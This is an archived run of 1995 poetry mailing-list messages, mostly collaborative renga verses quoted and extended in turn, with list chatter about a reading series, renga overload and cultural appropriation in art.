> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *<< lunar dust, the misdirected modules returning to the*
> *morning*
> *from the books out of the dreams away from the lonesome*
> *wail of the glob that cradles in its claws The Anthology*
> *of retrospective prescience sanded down to mean the elbows cleanly*
> *fit to be you or the phantasm that space foreclosed when the*

↑ Index

193. Jorge Guitart
Re: Renga 1
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Charles Alexander wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *floating, held open, adrift in different directions, she*
> *promised what she practiced as triangular blue feats soothed*
> *stunned images into form, saying a need, similar days*
> *of drinking weak coffee in enormous cups, and the trail of*

↑ Index

194. Alan Sondheim
Re: eR^2 = eD
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Sheila E. Murphy wrote: "> > On Thu, 3 Aug 1995, Thomas Bell wrote: > >> '> >> On Aug 3 Hank Lazer wrote: > >> "> >> On Aug 3 Marissa Januzzi wrote: > >> > '> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote: > >> >> ">> >> > On Wed, 2 Aug 1995, Sheila E. Murphy wrote: > > >
> >> '>> > > > >adding to Ron Silliman's addition -- > >> > > > >'"'"'"
that we are beings lonely breathing here, sweet arrows pointing one by one, the one of love and sweet returning

↑ Index

195. Jorge Guitart
Re: Renga2?
Sun 6 Aug 1995

On Sat, 5 Aug 1995, Charles Alexander wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*

> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
> *doused in chemicals resembling chemlab outputs straining to be*
> *loons in a lake one can see through, diving between sunrises*
> *with a modicum of surprise, as in "Mr. Chimaera, please report to the*

↑ Index

196. Jorge Guitart

Re: Renga4?

Sun 6 Aug 1995

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> lunar dust, the misdirected modules returning to the morning
> from the books out of the dreams away from the lonesome
> wail of the glob that cradles in its claws the anthology
> of retrospective prescience sanded down to mean the elbows cleanly fit
> sucking, winding, foraging, menacing, saving, stinging, erasing
subsuming, presupposing, debasing & whatnot, & the Masque said

↑ Index

197. Jorge Guitart
Re: Renga4?
Sun 6 Aug 1995

(Probably Renga 4-a or 4-b)

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >lunar dust, the misdirected modules returning to the morning
> >from the books out of the dreams away from the lonesome
> >wail of the glob that cradles in its claws The Anthology
> >of retrospective prescience sanded down to mean the elbows cleanly fit
> >sucking, winding, foraging, menacing, saving, stinging, erasing
> bandages-to-be from consciousness and conscience plexiglassed against
 the unfeasible & the give-me-a-rub type of moral history

↑ Index

198. Sheila E. Murphy
Re: Renga 1
Sun 6 Aug 1995

>> >> > In the books were dreams and in the dreams were books.
>> >> >> And flew through windows, lightning green and fine morning
>> >> >> First inverted whistle of a cardinal in the poplar
>> >> >> The book and the oboe on the grass under sun and cloud
>> >> >> Go endlessly, an obtuse Prussian blue, it binds
>> >> >> The caravan of windows to what they flee
>> >> >> These lace curtains, more gauze than bondage, more
>> >> >> Mollycoddled than aware, thin-spined and pebbling
>> >> >> but narrow in the waist or waspish Sunday years ago
>> >> >> Over coffee topped with whipped cream, the Times blowing

>> >> > & opining, heavy humid air, cumulus amusing against the
>> >> bleached ribcage ripcorded into compassed wind
>> >floating, held open, adrift in different directions, she
>> promised what she practiced as triangular blue feats soothed
> the theoretician and her guests by the balsa wood tower
on the verge of being crushed and therefore perfect in uncrowded

↑ Index

199. Sheila E. Murphy

Re: your mail

Sun 6 Aug 1995

>> >> > In the books were dreams and in the dreams were books.
>> >> > > And flew through windows, lightning green and fine morning
>> >> > > First inverted whistle of a cardinal in the poplar
>> >> > > The book and the oboe on the grass under sun and cloud
>> >> > > Go endlessly, an obtuse Prussian blue, it binds
>> >> > > The caravan of windows to what they flee
>> >> > > These lace curtains, more gauze than bondage, more
>> >> > > Power to the spider, virtuous in act if not intent
>> >> > > Sight over sound for "justice," O cubes of Cuba! Where
>> >> > > would calmness be without the stain of possession and
>> >> > Belief. A mirage effect, art, made to waver in
>> >> > a modicum of chocolate milk. Not too late for
>> >the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
>> doused in chemicals resembling chemlab outputs straining to be
>> with their rehab brothers & sisters in the metaphor they lived by
patching rent with cyclical amendments, dotted swiss and white pleats

↑ Index

200. Sheila E. Murphy

Re: Renga 1

Sun 6 Aug 1995

>> >> > > > In the books were dreams and in the dreams were books.
>> >> > > >> And flew through windows, lightning green and fine morning
>> >> > > >> First inverted whistle of a cardinal in the poplar
>> >> > > >> The book and the oboe on the grass under sun and cloud
>> >> > > >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > > >> The caravan of windows to what they flee
>> >> > > >> These lace curtains, more gauze than bondage, more
>> >> > > >> Mollycoddled than aware, thin-spined and pebbling

>> >> > > >> but narrow in the waist or waspish Sunday years ago
>> >> > > >> Over coffee topped with whipped cream, the Times blowing
>> >> > > > & opining, heavy humid air, cumulus amusing against the
>> >> > > bleached ribcage ripcorded into compassed wind
>> >> > kissing the weatherwoman between her breasts as she
>> >> gives gracious problem: fanatical snacks, landscape of
>> >> flicka my best friend and the storm in the glass of water's
>> halfway pertinent incision we keep making safe for ignorance (inspection
>> denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several

↑ Index

201. Sheila E. Murphy

Re: eR 1

Sun 6 Aug 1995

>On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
>
>> >On Thu, 3 Aug 1995, Thomas Bell wrote:
>> >
>> >> On Aug 3 Hank Lazer wrote:
>> >>
>> >> On Aug 3 Marissa Januzzi wrote:
>> >>
>> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
>> >> >
>> >> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
>> >> > >
>> >> > > > >adding to Ron Silliman's addition --
>> >> > > > >
>> >> > > > > In the books were dreams and in the dreams were books.
>> >> > > > >> And flew through windows, lightning green and fine morning
>> >> > > > >> First inverted whistle of a cardinal in the poplar
>> >> > > > >> The book and the oboe on the grass under sun and cloud
>> >> > > > >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > > > >> The caravan of windows to what they flee
>> >> > > > >> These lace curtains, more gauze than bondage, more
>> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
>> >> > > > >> but narrow in the waist or waspish Sunday years ago
>> >> > > > >> Over coffee topped with whipped cream, the Times blowing
>> >> > > > > & opining, heavy humid air, cumulus amusing against the
>> >> > > > bleached ribcage ripcorded into compassed wind

>> >> > > kissing the weatherwoman between her breasts as she
>> >> > gives gracious problem: fanatical snacks, landscape of
>> >> ><< lunar dust, the misdirected modules returning to the
>> >> morning
>> >> from the books out of the dreams away from the lonesome
>> >> wail of the glob that cradles in its claws The Anthology
>> >> of retrospective prescience sanded down to mean the elbows cleanly
>> fit to be you or the phantasm that space foreclosed when the first sentence spilled from heaven wheat of some kind blistered and untuned

↑ Index

202. Sheila E. Murphy

Re: Renga2?

Sun 6 Aug 1995

>On Sat, 5 Aug 1995, Charles Alexander wrote:
>
>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Power to the spider, virtuous in act if not intent
>> Sight over sound for "justice," O cubes of Cuba! Where
>> would calmness be without the stain of possession and
>> Belief. A mirage effect, art, made to waver in
>> a modicum of chocolate milk. Not too late for
>> the phalarope, anodyne, cynesure, palindrome or rapturous whatnots
>> doused in chemicals resembling chemlab outputs straining to be
>> loons in a lake one can see through, diving between sunrises
>> with a modicum of surprise, as in "Mr. Chimaera, please report to the first furnace on the left without your usual unpracticed glaze

↑ Index

203. Sheila E. Murphy
Re: Renga4?
Sun 6 Aug 1995

>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped cream, the Times blowing
>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>> kissing the weatherwoman between her breasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> lunar dust, the misdirected modules returning to the morning
>> from the books out of the dreams away from the lonesome
>> wail of the glob that cradles in its claws the anthology
>> of retrospective prescience sanded down to mean the elbows cleanly fit
>> sucking, winding, foraging, menacing, saving, stinging, erasing
> subsuming, presupposing, debasing & whatnot, & the Masque said
halt with this tone row winded by Evelyn Wood scans through thesauri

↑ Index

204. Jorge Guitart
Re: Renga 1
Sun 6 Aug 1995

On Sun, 6 Aug 1995, Tom Mandel wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing

> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> condemmed.
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
> to those not before, yet stored, whose sifted haze
brings in the unknowing and the problem of diction

↑ Index

205. **Jorge Guitart**
Re: Renga2?
Sun 6 Aug 1995

On Sun, 6 Aug 1995, Tom Mandel wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud.*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
> *doused in chemicals resembling chemlab outputs straining to be*
> *loons in a lake one can see through, diving between sunrises*
> *as a cat on catpaws, chocolate-milk-lipped, cardinal-listening*
> *monsoon-raking, irony-scraping (yes, the cat from hell) goes*

↑ Index

206. **Jorge Guitart**
Re: Renga3?
Sun 6 Aug 1995

On Sun, 6 Aug 1995, Tom Mandel wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *would calmness be without the stain of possession and*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*

> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *prickling with tenors, saving arrogance for free choice, long division*
> *with its equally long aftertaste, or did its overtone*
> *crowd the complacent out of the accident of truth? The body listened-to,*

↑ Index

207. Jorge Guitart
Re: Renga 1
Sun 6 Aug 1995

On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >condemmed.
> >promised what she practiced as triangular blue feats soothed
> >stunned images into form, saying a need, similar days
> >to those not before, yet stored, whose sifted haze
> pretaxed a little roughage for the good of order modified by "the"
  though not *the* The of holy hush and flush, and unmirroring

↑ Index

208. Colleen Lookingbill
Canessa Park reading series
Sun 6 Aug 1995

To the List:

Canessa Park Reading and Talk Series is has the new fall schedule completed. Hope you that are local can make the events posted below and anyone on the list that might be in the area, we would be delighted to see you. My husband, Jordon Zorker and I host the series and will serve you tea and cookies! Now there's an offer! Admission to all events is four dollars.

August 13 - Norma Cole and Duncan McNaughton, Sunday 3:00
September 10 - Steve Carl, John McNally, Anselm Berrigan, Sunday 3:00
September 17 - David Miller and Larry Fixel, Sunday 3:00
October 29, Carol Snow and Joshua Clover, Sunday 3:00
November 12 - Five Fingers Publishing Party, Sunday 3:00
December 8 - Spencer Selby and John Yau, Friday 8:00

↑ Index

209. Thomas Bell
Re: Renga4?
Sun 6 Aug 1995

[D
(Probably Renga 4-a or 4-b)

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >lunar dust, the misdirected modules returning to the morning
> >from the books out of the dreams away from the lonesome
> >wail of the glob that cradles in its claws The Anthology
> >of retrospective prescience sanded down to mean the elbows cleanly fit
> >sucking, winding, foraging, menacing, saving, stinging, erasing
> bandages-to-be from consciousness and conscience plexiglassed against
> the unfeasible & the give-me-a-rub type of moral history
rubbertyred rubicund marshmallows fill the

↑ Index

210. Thomas Bell
Re: Renga4?
Sun 6 Aug 1995

(Probably Renga 4-b)

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
> >kissing the weatherwoman between her breasts as she
> >gives gracious problem: fanatical snacks, landscape of
> >lunar dust, the misdirected modules returning to the morning
> >from the books out of the dreams away from the lonesome
> >wail of the glob that cradles in its claws The Anthology
> >of retrospective prescience sanded down to mean the elbows cleanly fit
> >sucking, winding, foraging, menacing, saving, stinging, erasing
> bandages-to-be from consciousness and conscience plexiglassed against
> the unfeasible & the give-me-a-rub type of moral history
Orality expands tomorrow as a rerun burrows under

↑ Index

211. Thomas Bell
Re: Renga 1
Sun 6 Aug 1995

>> >> > > > In the books were dreams and in the dreams were books.
>> >> > > >> And flew through windows, lightning green and fine morning
>> >> > > >> First inverted whistle of a cardinal in the poplar
>> >> > > >> The book and the oboe on the grass under sun and cloud
>> >> > > >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > > >> The caravan of windows to what they flee
>> >> > > >> These lace curtains, more gauze than bondage, more

>> >> > > >> Mollycoddled than aware, thin-spined and pebbling
>> >> > > >> but narrow in the waist or waspish Sunday years ago
>> >> > > >> Over coffee topped with whipped cream, the Times blowing
>> >> > > > & opining, heavy humid air, cumulus amusing against the
>> >> > >   bleached ribcage ripcorded into compassed wind
>> >> >   kissing the weatherwoman between her breasts as she
>> >>   gives gracious problem: fanatical snacks, landscape of
>> >>   flicka my best friend and the storm in the glass of water's
>> halfway pertinent incision we keep making safe for ignorance (inspection
>> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
friends or were they came or did they not ever bother as
brothers to fit into the pattern traced on the delicate cusp

↑ Index

212. **Thomas Bell**

Re: eR 1

Sun 6 Aug 1995

>On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
>
>> >On Thu, 3 Aug 1995, Thomas Bell wrote:
>> >
>> >> On Aug 3 Hank Lazer wrote:
>> >>
>> >> On Aug 3 Marissa Januzzi wrote:
>> >>
>> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
>> >> >
>> >> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
>> >> > >
>> >> > > > >adding to Ron Silliman's addition --
>> >> > > > >
>> >> > > > >   In the books were dreams and in the dreams were books.
>> >> > > > >> And flew through windows, lightning green and fine morning
>> >> > > > >> First inverted whistle of a cardinal in the poplar
>> >> > > > >> The book and the oboe on the grass under sun and cloud
>> >> > > > >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > > > >> The caravan of windows to what they flee
>> >> > > > >> These lace curtains, more gauze than bondage, more
>> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
>> >> > > > >> but narrow in the waist or waspish Sunday years ago

>> >> > > > >> Over coffee topped with whipped cream, the Times blowing
>> >> > > > > & opining, heavy humid air, cumulus amusing against the
>> >> > > > bleached ribcage ripcorded into compassed wind
>> >> > > kissing the weatherwoman between her breasts as she
>> >> > gives gracious problem: fanatical snacks, landscape of
>> >> ><< lunar dust, the misdirected modules returning to the
>> >> morning
>> >> from the books out of the dreams away from the lonesome
>> >> wail of the glob that cradles in its claws The Anthology
>> >> of retrospective prescience sanded down to mean the elbows
cleanly
>> fit to be you or the phantasm that space foreclosed
when the
>>first sentence spilled from heaven wheat of some kind blistered
and untuned
The windows barricaded and the battens taut her finger slipped

↑ Index

213. Thomas Bell

Re: Renga3?

Sun 6 Aug 1995

---

george guitart wrote that

On Sun, 6 Aug 1995, Tom Mandel wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> would calmness be without the stain of possession and
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance (inspection
> prickling with tenors, saving arrogance for free choice, long division

> with its equally long aftertaste, or did its overtone
> crowd the complacent out of the accident of truth? The body listened-to,
lets breath free and syllables March past the hare madder than

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214. Tony Green
Re: not a renga so keep your finger off D
Sun 6 Aug 1995

"green discorded fanatical and obtuse" isn't that getting a wee bit poisonal?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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215. Tony Green
Re: Please stop
Sun 6 Aug 1995

---

in Canada renga anagrams easily to anger

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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216. Joseph Zitt
Re: Canessa Park reading series
Sun 6 Aug 1995

On 6 Aug 95 at 19:24, Colleen Lookingbill wrote:

> *To the List:*
>
> *Canessa Park Reading and Talk Series is has the new fall schedule completed.*

On which continent, etc, is this? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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217. Ron Silliman
Canadian Love Call
Sun 6 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
condemmed.
promised what she practiced as triangular blue feats soothed
stunned images into form, saying a need, similar days
to those not before, yet stored, whose sifted haze
pretaxed a little roughage for the good of order modified by "the"
"annotated""Notley-esque""hurly-burly""wigwam"

↑ Index

218. Ron Silliman
And then she wrote
Sun 6 Aug 1995

You wrote:
On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
On Thu, 3 Aug 1995, Thomas Bell wrote:
On Aug 3 Hank Lazer wrote:

On Aug 3 Marissa Januzzi wrote:
On Thu, 3 Aug 1995, Jorge Guitart wrote:
On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
adding to Ron Silliman's addition --

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219. Wystan Curnow
Re: avoidance behavior syndrome
Sun 6 Aug 1995

Dear George, I recall someone speaking lately of the 'rigor' required when trucking across the 'slippery landscape of gender'. And one proposal which followed was that we drop the words for gender they are so slippery, so hard to grasp they fall from one's hands. My proposal, however, would be to drench all the words we are interested in in whatever mucous membrane, goop, bodily fluid we can lay hands on and like Ishmael said: SQUEEZE 'em good! Are you with me? Wystan

↑ Index

220. Wystan Curnow
Re: folk rhythms & forms
Sun 6 Aug 1995

Dear Gabrielle, Do you have in mind the material on the settlement of Polynesia? The emerging picture of an Age of Discovery, with planned voy- ages ranging over 1000s of miles of the Pacific? I've just got back from an incredible week on Cheju, an island off the coast of South Korea, which was the venue for an exhibition of art from Japan, Korea, the Philipines, Indonesia, Australia and New Zealand. The theme was 'From Island to Island'. Billed as a Pre-Biennale, they plan a full-scale international event in 1998 with the same theme. I wasn't entirely clear but had the impression they may limit the invitations to islands. Maria's posting suggests some of the richness of the notion of island culture. Wystan

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221. Ryan Knighton
Re: Please stop
Sun 6 Aug 1995

C eh N eh D eh

I think the Canadian aversion to renga, if there is such a thing, is due to the cosmopolitan chaos it imposes upon my scenic Vancouver e-mailbox.

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222. Sheila E. Murphy
Re: Renga4?
Sun 6 Aug 1995

> [D
>(Probably Renga 4-a or 4-b)
>
>> >In the books were dreams and in the dreams were books.
>> >And flew through windows, lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
>> >Go endlessly, an obtuse Prussian blue, it binds
>> >The caravan of windows to what they flee
>> >These lace curtains, more gauze than bondage, more
>> >Mollycoddled than aware, thin-spined and pebbling
>> >but narrow in the waist or waspish Sunday years ago
>> >Over coffee topped with whipped cream, the Times blowing
>> >& opining, heavy humid air, cumulus amusing against the
>> >bleached ribcage ripcorded into compassed wind
>> >kissing the weatherwoman between her breasts as she
>> >gives gracious problem: fanatical snacks, landscape of
>> >lunar dust, the misdirected modules returning to the morning
>> >from the books out of the dreams away from the lonesome
>> >wail of the glob that cradles in its claws The Anthology
>> >of retrospective prescience sanded down to mean the elbows cleanly fit
>> >sucking, winding, foraging, menacing, saving, stinging, erasing
>> bandages-to-be from consciousness and conscience plexiglassed against
>> the unfeasible & the give-me-a-rub type of moral history
>rubbertyred rubicund marshmallows fill the tunic made of a material called
whipped cream from the fifties
>
>

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223. Tony Green
Re: folk rhythms & forms
Sun 6 Aug 1995

---

boats connect islands as cars (automobiles) connect towns and cities in land-mass continent countries "nations" are made up in clusters and archipelagos

of islands in watery zones there are spaces between "nations" in oceans
that's something different too that's what you're saying?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

224. **Wystan Curnow**
Re: folk rhythms & forms
Sun 6 Aug 1995

On Aug 6, Tom Beard wrote:

Jonathon said,

> *I believe in was the composer Terry Reily speaking of his composition C who said that progress in the arts frequently resulted from members of one culture imitate the style and methods of another culture without understanding its context within the original culture. Unencumbered by its original cultural baggage, the relatively regimented forms of making and doing within one culture are free to evolve in new directions when adapted by another.*

Yes, exactly! But when the _imitator_ is from a culture that has colonised theculture that produced the _imititated_ form, the imitator better watchout for the PC police. Viz Gordon Walters' use of the Maori koru design, and his wonderful explorations of its formal possibilities, without any necessary reference to its cultural origins and context. But that's "appropriation" (sorry guys, didn't see the copyright symbol) and hence not on. Are we allowed to use (e.g.) the myths of other cultures in our writings, in whatever way we want, or do we have to sit a test to prove our cultural sensitivity?

Tom, I don't understand 'formal possibilities, without any necessary reference to its cultural origins and context.'? First this is not the same as the Reily (sic) proposition, which refers to not 'understanding' the context concerned. Walters certainly did understand the context,indeed his understanding among Pakeha artists of the period was rivalled only by his friend Theo Schoon. Second, the notion that you can explore a form with any necessary reference to cultural context is a modernist heresy. No PC police required there. And third, if there is

no necessary reference to Maori origins and context why did Walters give the pAintings Maori names?

Wystan

_

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225. Charles Alexander
ringing renga
Sun 6 Aug 1995

I think the renga has finally drowned out just about everything else.

It's rather daunting having 30 or more renga messages in only one day.

I like the renga, but I like the else, too.

```
charles alexander                    [===========^^============]
                              [          <>          ]
chax press                         [  maybe a  <>  pages     ]
                              [     time  <>  letters   ]
phone & fax: [redacted]              [     upon  <>  frames    ]
                              [     once  <>  motion    ]
e-mail: [redacted]          [          <>          ]
                              [===========vv============]
```

↑ Index

226. George Bowering
Re: avoidance behavior syndrome
Mon 7 Aug 1995

I pretty well agree with Wystan. I am usually suspicious of those words one sees in reviews, such as "rigor" or "sinuous prose" or the like. I am also repelled by awkwardnesses caused by she/he or that really unattractive (s)he, etc. I am not afraid of "slippery landscapes," either, living in a rainy climate. I am not interested much in rules and proscriptions. If you dont like to read Ishmael Reed because he is adjudged misogynist in some circles (usually of inferior writers), then dont read him. Ditto for Pound if you will not read anti-semite social creditors. As it says in the Bible, "go ye forth and write." I usually find that I enjoy reading writing a lot more than confronting ideas that come thru uninspired prose.

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227. George Bowering
Re: Renga3?
Mon 7 Aug 1995

>In the pockets were coats and in the coats were pockets
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> would calmness be without the stain of possession and
> In the windows were reflections and in the reflections were windows
The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> between the breasts were lips and between the lips were breasts
kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance (inspection
> prickling with tenors, saving arrogance for free choice, long division
> with its equally long aftertaste, or did its overtone
> flicka my wrist and kicka my foot and tilta my head

↑ Index

228. George Bowering
Re: avoidance behavior syndrome
Mon 7 Aug 1995

Responding to Jonathan Brannen post of Aug 5:

No, no. I come from a small town in the west; and back there "artiste" meant something else altogether. There have been several political positions taken re that.

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229. **George Bowering**
Re: Rengaphobia
Mon 7 Aug 1995

Hey, there isnt any tension between Silliman and Bowering. We are brothers, for Pete's sake. And I got nothing against renga. I just like a more varied mailbox.

I'd just like to know how tall Ron is. Dies that renga bell?

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230. **George Bowering**
Re: Rengaphobia
Mon 7 Aug 1995

Hey, who among us draws "theoretical conclusions." Ron. All the theory that speaks to me over the past 30 years has persuaded me that my old aversion to conclusions was right.

